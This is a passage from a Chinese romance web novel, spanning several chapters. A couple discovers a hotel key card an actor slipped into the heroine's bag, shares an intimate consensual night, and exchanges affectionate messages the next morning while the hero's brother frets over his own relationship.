虞千绾重重点了点头,“就得从知珩哥那下手,虽然并不清楚他们俩之间到底发生了什么,但我觉得病因不说十成也有八成出在知珩哥身上,他肯张嘴,肯把在意的举动放在明面上,或许也就解决大半了。” 互相在意的人,尤其苏旎这样性格的人,在意情绪大于事件本身。 “嗯,让我哥和我张嘴也难,不过我努力试试。好在旎旎姐回来了,他们距离近些,不再异国,或许关系靠着接触能修复些。” 虞千绾点了点头,和商恪景达成一致。 在不知道前因后果前,他们不会在有两人的场合里多掺和,爱情这事太私密,他们在商知珩和苏旎的关系里是旁人,还是什么都不知道的那类,乱莽极大可能会适得其反,也显得冒犯。 敲定此念后,他们逐渐把注意力转回自己身上。 商恪景指间轻捻着虞千绾耳垂,指尖时而顺着她细长精致的耳饰向下拨弄,“事先想好的那些内容都拍到了吗?” “拍到了。和旎旎姐的视频也在来的路上就在车里合拍好了。” “那就好。” “还超出预期了呢。” 提到工作,虞千绾眼尾轻弯,不禁星星眼,“容博延,就是我账号上发的第一条视频里购物平台签的那个代言人,他也参加了聚会,我们正巧碰到了,他不仅自己很敬业的配合我拍了视频,还主动帮我介绍了几个咖位大的艺人一块合拍。” “我账号未来一个月的娱乐素材都不用愁了,而且绝对都是高赞。” “哦,旎旎姐呢?” “旎旎姐大多时候在和导演聊天,她今晚可是大红人,刚从国外回来,又手握那么多大奖,流量和实力并重,一堆人挤着想和她说话。” “她给你介绍帅哥了吗?” 虞千绾正常对话的眼神陡然就清澈无辜了起来,虽然一个字没说,但又好像在无声说着“诶——诶诶诶!怎么是这出!” 商恪景平声催促她,“怎么不说话。” 虞千绾悠悠给他起了个新称呼,“商醋醋。” 分明傍晚那会儿旎旎姐说帅哥他还没什么反应,现在听到她提到别的男人就开始翻旧账了。 “不许逃避话题。” 虞千绾轻笑声,“这毕竟是和演艺圈有关的聚会,能进这个圈子的人皮囊都不会多差,旎旎姐随便给我介绍一个男明星都算得上帅哥。但是,我看到帅哥的时候满脑子都是工作。” 她凑到商恪景脸颊亲了下,“只有看到你这个帅哥的时候,我才会心动。” 面对虞千绾这样的好听话,商恪景却只是漫不经心笑了声,并不似往昔那般明爽。 他右手拇指和中指间不知何时夹了一张名片,伸到虞千绾面前,“那这人是怎么回事?还偷偷给你送东西呢。” “嗯?” 虞千绾懵了懵,茫然从商恪景手中拿过名片,细看才发现名片不是一张,而是两张放置在外,其间夹了张硬卡。 她解开捆在外面的那根细皮筋,三张长方形物瞬间散开掉落在她腿面上。 藏在中间的物什是——酒店房卡。 商恪景双眸一凝,先她一步识出拿起。 指尖翻转,背面还贴着张小便利贴,上面写着——【虞小姐,请问可以给我一个让您今夜欢愉的机会吗?】 第87章 第 87 章【增修】 “我内心肮脏,…… “不是!这哪来的啊……它……我……” 虞千绾愕然到语无伦次, 都不知道该说什么才好了,她对这东西完全陌生。 “就在你包这里。” 商恪景拿起虞千绾的包包,指了指自己看到名片时它所在的位置。 她包链只拉了一半,上车放包时没注意, 就将包包随手在椅面上一搁, 包口朝下, 名片和房卡就这么半露半遮地滑了出来, 商恪景本是看到了想帮她把东西放回去拉好包包拉链的, 谁知意外发现这名片内别有洞天。 虞千绾仔细去看名片,瞧见上面【晁高逸】三个字才恍然“喔”了声, 想起什么。 今夜的聚会场在演艺圈内绝对是含金量很高的那种, 还有不少资方,但凡入场得了其中一位青眼, 日后的影视资源都不用愁了,所以很多人都在找门路想要来参加。 不过聚会本身就偏私密, 很少有人愿意承担贸然带一个人过来的风险, 晁高逸就是为数不多被带进来的人中一员,且是容博延的老板带进来的。 虞千绾也是因此对晁高逸多有了些印象,他和容博延是一个经纪公司的,容博延和他显然也不是很熟, 但碍于老板, 所以容博延不得不亲自领着晁高逸大致引见了一番。 虞千绾和容博延曾经有过接触,相对熟悉些,而且容博延在现场帮了她不少拍摄上的忙, 所以面对容博延介绍的人,她听得认真些,听完自然而然说些晁高逸长得帅演技好以后肯定大火这类的客套话, 即便她压根没看过晁高逸的戏。 后来毕竟在同一空间内,他们多多少少会有些接触,但顶多就是零星几句笑谈,在虞千绾视角里都是绝对纯洁客气的。 直到离场时,因为苏旎喝得有些多,脚下微微虚浮,所以虞千绾两手都扶在苏旎身上,晁高逸就在这时出现在了她们身边,主动朝虞千绾递上了名片。 虞千绾并没多想,只当是小演员想抓住每个机会展示自己,她又是个礼貌的,想着即便自己不会帮他但也不泼冷水,收个名片而已,又没什么,转头在他看不见的地方丢了就成。 大抵是见她扶着苏旎,手上腾不出空,晁高逸便主动问询说能不能放她包里。 虞千绾回说可以,彼时她还当晁高逸有眼力见,哪知是他藏有别的心思。 房卡的意思已经很明显了。 再配上【虞小姐,请问可以给我一个让您今夜欢愉的机会吗?】,意思更是赤裸的不能再赤裸。 虞千绾有些恶寒地搓了搓胳膊,“怪不得到现在还是个名不见经传的小演员,原来是心思都放在这些地方了。” “没和他交换过联系方式吧?” “没有。” 商恪景敛了敛眸,从她手中拿过名片,径直将两张名片和一张房卡一起丢到了垃圾桶里。 车内氛围忽然就安静了下来,但商恪景绝非吃醋或是生气,而是默然着似乎在沉思什么。 虞千绾无辜眨了眨眼挨近直勾勾盯着商恪景的侧颜,轻声问:“你在想什么?怎么突然不说话了?” “没。” 商恪景回神般,没再凝着一处,视线回到虞千绾面庞上。 虞千绾秀眉微蹙,“我才不信。” 她抱着商恪景的腰就开始晃,撒娇似的控诉,“啊……商恪景你怎么这样?我的心已经因为旎旎姐和知珩哥的事痒痒半天了,他们瞒着我就算了,你怎么也对我遮遮掩掩的?” “不是不想和你说,只是这个话题扫兴,你也不爱听,不如不说,就是个在脑海里一闪而过的念头而已,不重要。” 商恪景想到他的那瞬间顿觉晦气。 可他这么一说,虞千绾更好奇了,不假思索追问且保证,“什么?你放心说,不爱听我也不会怪你的。” 耐不住她磨,商恪景顿了顿,实话实说:“……在庆幸常桦不是这种人,庆幸他想傍富婆又假清高,否则你怕是到现在还陷在他的花言巧语里。” 虞千绾瞬时就像是吃了一只蟑螂,面色一下就灰沉了下去,几番欲言又止但又说不出话。确如他刚刚所说……是个很扫兴,她很不爱听的话。 但也确实,如若当年的常桦像晁高逸这般,她怕是还当他爱她想和她进一步接触呢,面对喜欢的人,她自然不会认为这样是冒犯。 越想,虞千绾越觉得这事的底层逻辑不对,她下意识帮自己说话,“常桦如果是这样的人,我打从一开始就不会喜欢他,我眼光也没差成这样吧?” “我第一次和常桦表白的时候,你也知道,他拒绝了我的,我当时也觉得没戏了,但一直没放弃,哪知道他后来在娱乐圈碰壁以后又想到我了,开始对我热络,我那会儿还傻乎乎以为是自己的坚持不懈打动他了呢,结果是钱和身份打动的。” “但其实细想,常桦在进入娱乐圈前后简直像是两个人,只不过我一直在用校园时候的滤镜去看待步入社会后的他。” 虞千绾绝无丁点替常桦讲话的意思,她只是在替昔年的自己鸣不平。 发现商恪景在皮笑肉不笑盯着她的时候,虞千绾忽然意识到话中的歧义,紧急叠甲补充,“当然啦,这些都是常桦的错,他从来都是那样的一个人,只是学生时代他对金钱地位的认知和需求没有那么多,没让人看出这样一面而已。” 商恪景冷着脸,声音几乎是从牙缝里挤出的,“这个圈子里的男人格外不要脸。” 虽然有些不合时宜,但虞千绾突然就联想到了,“知珩哥……竞争还蛮激烈的,沉默寡言vs热情露骨。” 商恪景无奈笑了,看似动作大开大合恶狠狠,实则分外轻柔地捧起自家女朋友单纯的小脸,“再大的流量,再有含金量的奖项,也都是别人的,不比有钱有权的嘉澍集团小女儿,哄开心了是真能砸来资源帮到自身。何况以旎旎姐那性格,她怕是能直接把房卡摔那人脸上。” “真遗憾,我脑子里都有画面了,很旎旎姐的做法。” 虞千绾注意力一下就被商恪景描述的画面吸引,不自觉脑补,顿觉带感。她曲着食指勾了勾商恪景下巴,防止被司机听到,凑到他耳边,低声调笑,“可惜男朋友太有钱,我没办法体验到包养帅哥的滋味,也没法把房卡丢在你脸上。” 她尾音还未完全落地,后颈就被大掌控住。 身前男人忽然后撤些许让他们之间产生空隙,她的两颊跟着被他另手捏着带起,面前阴影一覆。 一切都发生得太快,全程不过两秒。 虞千绾反应过来的时候,她饱满的唇瓣已经被男人湿热的唇含住,他还一上来就故意用齿尖似磨似咬的对待她的下唇。 商恪景今天开的这辆车没有隔板,他就这么吻了上来,司机轻易通过车内镜就看到。 虞千绾刚刚只是说句暧昧些的话都要刻意避着司机轻声说,更别提这种亲昵的动作了,面颊登时升了温。 她既惊又羞地嗔圆了眼,赶忙用尽全力推开商恪景,臀下迅速移动,尽可能远离了商恪景身边,独自捂着唇红着脸缩在了车窗边。 空气中荡来声始作俑者的轻笑声。 虞千绾咬牙切齿地瞪他,但商恪景一作势要靠近,她就瞬间气势全无,仿佛化身一只小白兔眸光弱弱觑着他,生怕他这只大灰狼再挨过来胡作非为。 车辆刚驶到别墅门口,尚未完全停稳,虞千绾就急急推开了车门下车,步伐匆匆,面上还有些薄红,不敢多看司机一眼,也不情愿再看到某人。 但某人拿着她的包和手机很快跟下来,一声比一声腻人地喊着“宝宝。” 声音和脚步声逐渐由远及近,虞千绾就像有条无形的尾巴垂在身后,怕尾巴被踩到般越走越快,快要都似要小跑起来。 她想先一步进到家里,然后反手把商恪景关在门外。进确实进去了,门却没能如愿关上。商恪景的手把在了门边,小臂撑在了门上。 虞千绾跟着将整个身子都压在了门上使着力,和商恪景的力气形成抵抗,“回你自己家去!” “我家就在这,富婆姐姐忘了吗?你包养我的时候让我放心住在侧卧。” 虞千绾听得又恼又臊,她现在可没心情和他玩什么cosplay,只想把这个厚脸皮的人撵出去。 偏偏她力气又敌不过他,赖在门上的整个身子都在被抵着往后退,门打开的范围越来越大,直到产生半人缝的距离,商恪景顺利侧身挤入。 若不是怕太用力门会撞到她弄疼了她,他早从门外进来了。 拿他没辙,累得够呛的虞千绾站在原地边气息不匀地喘着边气鼓鼓持续瞪他。 商恪景抿着笑,探指想去摸她的脸。 但一到虞千绾面前就被她打掉,如此持续好几次,也不知道是虞千绾自己嫌打疼了还是心疼他,总归没再打了,任由商恪景再次捧住她的脸,“宝宝,你那么撩我,我没忍住。” 虞千绾只觉自己一下就被扣了顶帽子,她又拽商恪景的手,想将其从自己的脸上拿开,但没拽掉,“我哪有撩你,那就是句玩笑话,是你自己内心肮脏。” “嗯,我内心肮脏,还想干点肮脏事。” 随着恋爱时长的增加,商恪景的脸皮厚度也在明显增加,他一本正经在虞千绾面前应下这话,低头又去亲她,继续在车内没进行下去的吻。 虞千绾起初是抗拒的,但商恪景不松,于是乎吻着吻着也不知道怎么就变了味,那些羞恼似乎在吻中也齐齐消散了。 他们的身体愈发合拍,愈发渴求且习惯对方的靠近,不自觉就迎合起了对方。 激吻间,虞千绾背靠在了玄关柜上,商恪景俯着身,一手托在她脸侧,一手顺着她身前大衣的空隙抚入,贪心的只隔着薄薄一层礼服裙覆在虞千绾腰际,指腹时而摩挲。 商恪景如今的吻技自不用说,完全练出来了,手上也逐渐自如有些小动作,虞千绾总觉有一阵阵酥麻感自他触到的腰际四散开,似乎麻进了骨子里,使得她四肢百骸都在发软。 不知是商恪景抚在虞千绾腰后的手幅度渐大带开了大衣前系着的蝴蝶结,还是他们越吻越近身前衣物不断摩擦蹭开的,总归虞千绾的大衣彻底敞开,商恪景长腿直接挤入她腿间,膝盖抵在她身后的柜面上。 如此姿势,他们的腿频频碰到对方的。 虞千绾尤为敏感,她被蹭过的区域集中在腿肉内侧,甚至有几次他的膝也不知有意还是无意的隔着最薄最贴身的那层布料轻顶到了她,虞千绾嗓间一闷险些漾出甜声,指尖轻颤,急遽想要喊停,可话到嘴边又委实诉不出,因为只是羞,并不是真的想要停下。还有几次,被刺激的有些受不住的她下意识想要咬住唇,但咬住的只有他在自己口中肆意妄为的舌。这般磋磨下,虞千绾眉梢很快浮上春波,四肢百骸越来越软,都快要攀不住商恪景的肩背。 忽然一个瞬间,商恪景分外清晰地感知到,他抵入的右腿左侧和右侧触感不一样。 意识到什么,即便还没亲眼看到,商恪景手背的青筋就隆起得明显起来,指骨紧紧绷着。 他缓缓地、缓缓地掀开迷离含情的眼,放轻放缓了些吻敛眸去瞧。 看清的刹那,呼吸先是一停,后又陡然变沉,鼻息都重了。 虞千绾掩在大衣内的是一件侧开衩设计的礼服裙,并不是很高的高开叉,大概到她大腿中段的位置,正常走动不会露出什么,但和商恪景接吻的时候,他的手放在她腰后,长腿也和她有所摩擦,动作间布料有了些褶皱,被带起了些。 原本最短遮到大腿中段的裙料就这么在不知何时窜到了腿根。 礼服裙的开衩口在右腿,商恪景膝盖往中间一压,裙料彻底被从右边带过。 商恪景看到时,她骨肉匀停的右腿几乎全部裸露在空气里,裙料全都斜斜堆叠在左腿上。 虞千绾在里面穿了一条纯白色的安全裤防止走光,底端的一小截白色蕾丝花边贴合包裹着她皙白细腻的腿肉,不一样的白刺激着商恪景的视觉。 蕾丝之上是右腿根最后残存的那点浅紫色礼服裙料。 商恪景喉结加速滚动,眼尾忍出一片湿红,他逼着自己闭上眼,不要再往下面想,却根本控制不住。 虞千绾接吻时习惯闭着眼,对商恪景睁眼窥伺的行径全然不知。 只靠着触感感觉到他忽然又吻得好激烈……攀在他肩背上的手愈发无力,她真的要站不稳了,理智彻底被情热蚕食无几,一声旖旎至极的嘤咛就这么从唇齿间溢出。 就像是某种不必过于言说但双方都懂的信号。 跟着,虞千绾感知到压在腰后的力度微微下滑了些,她呼吸一停,虽没睁眼,但隐约感知到,商恪景正在看着她在等她的表态,纤长浓密的乌睫便不可控地颤动得更快了。 凹凸有致的姣好身材后,等待须臾但没得到准确答复的男人似乎要将手移回原位了。 虞千绾忽然有些急,脑海里陡然闪过那日他说“你如果有需求可以告诉我,暗示也可以,只要我接收到一点讯号,我就会懂你的意思。” 动作比思绪快的,粉嫩舌尖立即很轻很轻蹭过他的。 霎间接收到讯号的商恪景掌心跟着压实,逼近缓停的湿吻跟着呼吸一同再度炙热起来。 第一次和他这样亲近,虞千绾紧张得要命,她紧张的都要忘记了呼吸,也顾不上回吻,就紧揪着商恪景的衣料,牢牢挨着他汲取着安全感。 商恪景也渐渐停了吻,只以额头挨着她的。 可当温热的指流转至她开衩的裙料处时,虞千绾呼吸一下就尽数泄出,手指猛然下压,摁在了商恪景的手腕上,忐忑无措的眸终于忍不住睁开,清丽迷蒙望住他,脑袋小幅度摇了摇,嗓间本能逼出声很轻的“嗯~不要——” 商恪景知道她不是排斥自己,只是不曾有过,下意识的紧张害怕。 他停住手,缱绻以唇瓣亲亲她的唇角,声音哑的几乎只余气音安抚她,“宝宝……试试好不好?只用手。” 虞千绾不吭声,默默以贝齿咬住微微充血的下唇肉,眼前的雾气越来越浓,她愈发看不清商恪景的俊脸,细颈微扬,身体却在往下滑,压在他腕上的力度徐徐卸下但持续搭着。 他的手陷入浅紫色布料中越多,她挨在他劲腕上的手指就被自己的腿抵得顺着他小臂后移得越多,就这么一点点、一点点地……她的手最终滑到了他的臂弯处。 这里因为绷着劲且持续隐忍着,比以往都要坚硬。 第88章 第 88 章 这种时候的哭腔不太可信…… 早晨, 虞千绾陷在暖和的被窝里睡得正沉时,隐约感觉到有抹温软的触感在她脸颊缓缓碰了碰,痒痒的,但没将她从睡梦中扰醒, 她只是无意识地将脸往另侧小幅度别了别。 约莫二十分钟后, 一道略显矛盾的声音自床边轻轻响起, 他似乎并不想吵醒她但又有些希冀, “……宝宝, 我去上班了。” 睡得正香忽闻这么一声,虞千绾拽着被子就蒙过头顶, 试图以此隔绝噪音, 嘴里迷迷糊糊哼唧出声美梦被吵到的不悦轻呓。 周遭静了一瞬,然后传来了声很轻的似笑似叹的动静。 后面再发生什么, 虞千绾就完全不知道了,彼时她睡得很熟, 周遭声音和动作又很轻, 短暂的一下,她只当是梦中场景的切换。 直到睡饱了惺忪眯开眼,理智渐渐回笼,虞千绾才陡然意识到不对。 眸中的混沌瞬时散去, 她扭头就去看身侧。 身边人已经不在了。 虞千绾急遽拿起手机看了眼时间, 她先是错愕,错愕自己怎么睡到了九点多钟,因为她昨晚睡得还挺早的, 睡到九点多代表她这一觉睡了有足足十个小时。然后是庆幸,确定这个点商恪景已经去上班不在家,他们不会打照面, 她深深松了口气,安心放下手机又缩回了被窝里。 昨夜的画面难自控地往脑袋里钻,虞千绾光是回想就很是难为情,不自觉抓紧了被子,眸泛秋波,逐渐又有些氤氲。 她还记得一开始,商恪景只是用那双鼓动着青筋透着性张力的长指隔着小片布料轻轻剐蹭着。 但即便如此,虞千绾也遭不住。 她虽然看过很多不正经的瑟瑟小说和动漫,实质上却是个丁点实战经验都没有的小白,别说和异性接触了,就连自己让自己欢愉的举动都没有过。 所以仅仅是伊始时那般隔着布料的触碰,就已让虞千绾敏感地轻抖,再也撑不住劲的细腿一软就彻底倾倒入了商恪景怀中,并且身躯随着他的动作时而会难耐地轻微抖簌。 面颊绯红由内而外沁得越来越甚,嗓间黏稠拉扯着溢出的哼吟声也愈发频繁。 作乱者终于停下了动作,拦腰抱起了她。 虞千绾已然要忘却了羞赧,当下的依赖感更甚,她下意识搂紧他脖颈的同时,烫热的面颊也一起挨过去,蹭低他的衣领,让她的面颊尽可能多的碰到他的皮肤。 因为玄关口的这部分前戏,后续就显得分外流畅,水到渠成。 虞千绾一路被商恪景公主抱着上了楼,期间他们持续湿吻得难舍难分。 直到被放置在床上,意识到可能要爆发一场更为正式激烈的旖旎,虞千绾圈在商恪景颈后的双手紧了紧,闭合的双眸眯开一线短暂窥伺了他一瞬又赶忙闭上。 就在虞千绾闭上眼后不过两秒的时间,商恪景忽然松开了她的唇,半托起她的身子,带着她一起往床边挪了挪,那片被他单膝跪压着的床单下陷得更为明显。 床头柜上跟着响起了窸窣的撕拉声,虞千绾没听出这是什么动静,也因为唇上的温度倏地撤离有些难言的空虚感,她再度睁开了眼循声看去。 正好看到商恪景拆开了她床头柜上的湿纸巾,从中抽出了两张,随即敛眸细细地、一根一根地擦拭着骨节分明的长指。 不知是不是手指刚刚激烈运动过的缘故,他净白的手此刻浮上了些粉,像是七份白三份粉混在一起制成的色调,指尖粉调尤重,就连修剪齐整干净的指甲都仿佛浸上了色泽。 可视线稍一偏移,就能看到他手背上给人感觉完全不同的青筋迸显着,就像是建于手肤之上风格迥异的浮雕,充斥着蛊人的反差诱惑力,让人忍不住地想多看几眼,起些冲动。 视线上下隔空对碰,虞千绾登时就跟小心思被抓到般,羞窘着偏开视线。 商恪景上身跟着压下,他用唇蹭了蹭虞千绾的耳廓,低诉中掺着笑音,“宝宝等等我,很快就擦好了。” 他的声线哑到不行,一听就知道忍耐的也很难受,虞千绾不服于他这话,这种时候了还习惯性同他争辩程度的轻重问题,“……到底是谁更等不及?” 商恪景的头忽而埋到了虞千绾颈间,一声笑伴随着浓重吞吐出的鼻息尽数扑撒在她肩颈那片区域,烫痒的她下意识缩了缩肩。 但他压上来沉甸甸的,她压根躲不掉。 下秒,商恪景张唇含住了虞千绾耳垂,吮了吮,含混带笑,放浪极了地说:“是,我们宝宝一点都没有等不及,只是热了流汗,所以才有那么多水弄湿了……隔着两层都能感觉到。” 他声音越说越哑,带着性感的颗粒感,到后面几乎要几近无声。 ——两层。 虞千绾一下就反应了过来,是指里面和外头那件安全裤,她羞愤着刚要发作,安全裤的蕾丝边忽然被拽住,因为贴身,里面那件顺带着也被卷下一小截。 虞千绾瞬间什么旁的情绪都无了,又像在玄关处那般急遽摁住了他的手腕阻住他。 大抵是知晓这次要玩真的,连仅存的那点布料都不会再有了,她呼吸都跟着急促起来,摁在商恪景手腕上的素指也在用力朝后抵他。 可商恪景连清洁工作都做好了,临时却不给他靠近了于他而言委实也很磨人很难捱,他没那么强的定力,不可能轻易顺着她的力就这么退开。 不过为了缓解些虞千绾的紧张情绪,商恪景配合着将手朝后撤了些,但依旧压在她大腿上,并没有拿开太多。 “宝宝……” 商恪景弓着身,垂首亲了亲虞千绾摁在他手背上的手。 瞬时,十指连心,一股轻微的电流感似乎一下就袭到了虞千绾的心脏,她指尖猛地一蜷,有些乏了力。 她垂着眸,微湿的黑睫缓缓扇动,眼睁睁看着商恪景纯情却又莫名透着股色欲气的自她指尖一点点向上流转亲吻至她小臂。 礼服裙是单肩斜领的设计,虞千绾挑选的时候只觉得好看,既能衬出自己的姣好身材,又不显得肩上太单调,哪里想到会在此刻方便商恪景这么一路吻上来。 分明并不是多么敏感的部位,可这么持续看着,感受着无声但磋磨人的唇温,她却有些受不了。 恰在这时,商恪景垂着的眼睑微掀,他的眸不知何时被情动覆盖至此,雾蒙蒙的隐隐失焦。 虞千绾脑海里最后一根弦在对上这双眼时彻底断了,她抬手就慌忙捂住了商恪景的眼睛,指尖带着些颤。 商恪景弓着的上身也在瞬间撑起,即便视线受阻,他也能靠着身体绝对的熟悉准确无误吻上虞千绾的唇。 吻着吻着,脑袋就开始昏涨,理智开始抽离,待到虞千绾再清晰认知到的时候,那两块布料已经掉到了她膝弯处。 商恪景又抽过两张湿纸巾擦了擦手,但这次,他动作很快,也没先前那么精细。 擦过手的湿纸巾被他随意朝床边一丢,在空中荡了荡后落到地面,而刚被拭过的有些微凉潮湿的指终于如愿陷入逼仄的温润中。 几乎是瞬间,虞千绾鼻息间就逸出了声难辨情绪的嘤咛,齿关紧紧咬合住。她松开了手没再掩在商恪景眼前让他看不清她,细腰不自觉微挺,双臂攀紧他的肩背,竭力仰着小脸往他颈侧凑,既紧张有些怕又舍不得远离他带来的心安感。 虞千绾太紧绷了,无论是身体还是精神都集于一处,顾不到其他。 紧绷到商恪景去吻她,她都忘记了反应,依旧紧合着上下牙,仿若浑没感觉到身前有个人在亲她。 直到商恪景低唤了声“千绾”,她才如梦初醒般乍然回过神来,颤着乌睫松开了紧咬着的牙齿放任他湿热的舌进入。 但这种感觉实在太陌生了,也太奇妙了,就好像控制浑身的机关落到了旁人手中。 她不知道那人下一秒会触到哪里,全然未知的感觉让她总忍不住发出各种陌生的声音,偶尔也因为两人都太青涩太懵懂不太得其法会有些难受。 无论发生哪一种,她都会猛地偏脸中断和商恪景的吻,温吞或短促的哼出声低吟。 商恪景总会偏头跟上去,关切她的情况。 虞千绾哪里好意思直说这种事情,她现在连他的眼睛都不好意思直视,他一问,她就更忸怩了。 不过渐渐的,商恪景也就懂得了些,只要她不是说忽然嗓音有些尖细地说疼,那就是愉悦的。前者仅在刚开始的三分钟内发生过,并且也不全是疼,有些时候是胀,但她尚分辨不清,稍有些刺激就噙泪说不要。 商恪景还发现,这种时候的哭腔也不太可信。 在床上沁出的眼泪不一定是疼,隐含的还有很多不同层次。 他也确实没能免俗于男人的劣根性,看着心爱的女生在身下湿红着眼的模样,反应却更大了。 但倒没畜生到那种程度,他始终记得一开始的话,只是单纯的他帮她而已,一以贯之,没有临时反悔干些别的。 不过当晚,商恪景自然而然就睡在了主卧,没回侧卧。只是和虞千绾折腾完后,他在浴室里待了半个多小时才出来。 虞千绾知道他在里面干什么,其实他如果让她帮他,她也不一定会拒绝……可他不提,她自然不好意思主动说。而且那事儿以后真的浑身软绵绵的,一点劲都没有,虞千绾瘫在床上一动不想动,就连换床单都是商恪景抱来抱去的,她一步路没走。 要不是因为太难为情拒绝了他的后续服务,商恪景还打算亲自抱她去浴室洗澡。 入睡前,虞千绾被商恪景拥在怀里的时候面颊还红红的,陷在亲昵后的尴尬期,有些不知道怎么面对他,彼时她还担心自己可能会睡不着,哪知道记忆很快就消弭了,还睡得很沉。 一觉睡醒,靡丽彻底褪去。 虞千绾再回想这些,脸蛋比昨晚最激烈时还要红。 她翻了个身,刚想在被窝里发出一声羞臊的尖叫,可才有动作趋势就牵扯到腿间,忽然浮上些闷胀感止住了她的动作。 虽然仅是手,可对虞千绾来说也是初次尝试,身体免不得有些不同寻常的轻微异样感需要休缓。 鬼使神差的,她顶着张红透的小脸拽过身侧那半边被商恪景盖了一夜的被子捂在面前嗅了嗅。 气味和身体的微妙感都在提醒着她,昨夜发生了什么,他们之间发生了什么。 第89章 第 89 章 【想你想你想你想你想你…… 这些内容越想, 虞千绾越羞于去面对商恪景,即便他傍晚下班才会回来,距离现在还有大半天的时光,可她已经不自觉在脑海里脑补画面了。 想了好一会儿, 虞千绾也没想到开口第一句该和他说什么才好, 脑袋里全是窘态百出的情形, 最后只能将希望寄予在商恪景身上, 盼着他主动且顺畅地打破这种过度亲密后的尴尬失措阶段。 不知道怎么面对归不知道, 但心里头,虞千绾还是很惦记商恪景的。 面上的灼热降了些后, 她第一时间就摸过手机查看微信, 置顶直接显示有99+的未读消息。 显然历经了昨夜,今天的商恪景也并不淡定。 看到99+这个数字时, 虞千绾眉眼就蓄上了笑盈,那股子无措感忽然就散了许多。 点入聊天框, 指腹触在屏幕上滑动, 她想先一目十行大致扫一圈看看他发了什么,而后再慢慢细看回复。 商恪景今天发来的消息同质化很严重,但却不会让人感到无趣,只会让人感到在意, 虞千绾唇角弧度越咧越大。 对话框里几乎被【想你】两个字席卷, 有几段尤其—— 【想你想你想你想你想你想你想你想你想你想你想你想你想你想你想你想你……想你想你想你想你想你想你想你想你想你想你想你】 如此一条消息的长度足足占了虞千绾一个半的手机屏幕,很常见的两个字堆在一起分外有冲击力,刺激着虞千绾的眼睛, 被震撼到的却是心脏。 除去【想你】之外,商恪景还发了很多表达意思差不多的消息,譬如爱心的emoji表情, 也是以上面长串想你那般格式发来的。 还有大狗等待的表情包。 这是虞千绾之前偶然在网上刷到的,彼时她正半靠在商恪景怀里,看到了顺手就将手机举到他面前给他看,说这只等待主人回家的大狗狗莫名和工作日在集团里对着屏幕等待她睡醒回消息的他有些像。 商恪景却说不一样,因为他等得要更没盼头,人家狗狗的主人回家时间起码是确定的,她睡醒的点可不确定。 虞千绾哈哈失笑,商恪景哀怨瞅她,但也觉得贴合度很高地从她手上拿过手机,转而将表情包保存了下来,再用她的手机从微信发送给自己,转头就丝滑用上了。 正看着想着笑着,好巧不巧,商恪景又发了一条消息过来。 虞千绾立即将消息拉到底,去看他最新发来的最新消息。 ——【宝宝?】 虞千绾的笑容在看到消息后跟着的问号顿住,刚有些困惑于这种亲昵称呼后面为什么跟个问号,迅速弹出的下条消息就解了她的困惑。 ——【你是不是醒了不想理我?】 ——【我好想你】 ——【跟我说说话好不好?】 后面还配了个沮丧大狗的表情包。 他们昨夜是在一张床上睡的,商恪景再清楚不过虞千绾的入眠时间,迄今已然逾过十个小时。 虞千绾平常大多时候睡眠时长是七个半到八个半小时区间,睡十个小时的时候也不是没有,但很少,且多发于前两天没睡好觉需要补觉或月经期身体不适时。 显然,这两种特殊情况都没发生,唯一特殊的是他们昨夜有了突破性的亲近,在这种亲近的翌日,商恪景很难在长达十多个小时得不到回音后还单纯认为虞千绾只是睡了这么久,更多想的是,他昨夜是不是过了火,她是不是清醒后恢复理智羞恼至极不愿理他。 现实倒也没差,只不过虞千绾羞多过于恼,而且是远远多于,她几乎没什么恼。 感觉到商恪景的担忧后,她立即引用了【你是不是醒了不想理我?】这条消息回复道:【没有,我真的才醒没一会儿,但是你发的消息太多了,我看起来需要些时间,还没来及回】 得到虞千绾这条消息的商恪景就像被打了一剂强心针,忽上忽下了一整个早上的情绪顿时似被拉回了昨夜的暗昧中,再没低宕的存在。 面上难掩的荡漾,他正敲下【那你想我了吗?】打算发送,一道煞风景的声径直从对面幽幽传了过来,“苏旎和她联系了吗?” 商恪景悬在回车键上的手指顿住,转而叹了声摁下删除。 他哥一大早就待在他办公室候着了,虽然坐在他电脑背面看不到他和虞千绾的聊天内容,但被哥哥持续凝视着,商恪景委实没办法在这样的眼神下和虞千绾腻歪,总觉得怪怪的。 分明是正儿八经谈恋爱,却有种未成年时期背着家里长辈偷情的意味。 “她才刚睡醒,怎么可能和旎旎姐联系。” 商知珩浑不管,只问:“你问了吗?” “行行行,我帮你问问,问了你就死心了,怎么我说你还不信呢。千绾刚睡醒,才回我的消息,肯定不会有空和旎旎姐聊天的。” 商恪景失语一瞬,头次对商知珩这么无可奈何,妥协照做给虞千绾发消息问询的同时又忍不住吐槽自家哥哥,“我也是受不了,哥你老在背后暗戳戳的有什么用?你得让旎旎姐知道你的在意才行啊。可别怪我没提醒你,娱乐圈很多男人没皮没脸的,就等着被人包养砸资源呢,到时候旎旎姐要是被诱惑走,你就等着——” 后面的话,商恪景没说出口,因为商知珩气场倏地就冷了下来,一双眼要杀死人般睇着他。 没办法,血脉压制,商恪景只能闭了嘴。 虞千绾那边有了回复,电脑方向不方便给商知珩看。 商恪景拿起手机,点入微信把和她的对话展示给商知珩看。 不过有关苏旎的新对话不多,没把原先他们俩之间的对话顶上去,所以给商知珩看时,商恪景掌心有意捂住了上面的,只给商知珩看下面的几句。 商恪景:【宝宝,你昨天和旎旎姐的聚会结束后还有再联系吗?】 虞千绾:【嗯?怎么突然问这个?】 虞千绾:【没有联系,顶多就她昨晚到家的时候给我发了条消息报平安】 三条消息,商知珩视线来来回回看了好些遍,收回视线起身时,唇线几不可察地绷直了些。 见商知珩就这么要走了,商恪景真是替他着急,“哥,你得主动啊。你自己不说怎么回事,也不让我们去旎旎姐那试探,光让我这么问千绾,就算她和旎旎姐之间有联系也只是她们女孩子之间的话题,和你们俩之间没关系啊。” “管好嘴。” 商知珩一步没停,就丢下这么一句。 商恪景眼见着办公室门开了又关,仰头长叹声。 但很快他就麻溜在电脑前坐好,手指快速敲击着键盘,第一时间和虞千绾同步消息。 商恪景今早到办公室的时候商知珩就已经坐在他办公室里等着了,也不知道具体什么时候来的,但看眼里的红血丝就知道没休息好。 兄弟俩一个精神焕发面色红润一个看起来正常但伴随着淡淡的死感,两相对比反差很是强烈。 商恪景知道自家哥哥肯定是为苏旎的事来的,他本以为是哥哥需要个宣泄口找他聊聊,他也正好可以趁机得知详情了,哪知自家哥哥在这种事上也这么能忍,嘴巴那么严,丁点细节都不和他透露,早早过来竟只为问他苏旎有没有再和虞千绾联系过。 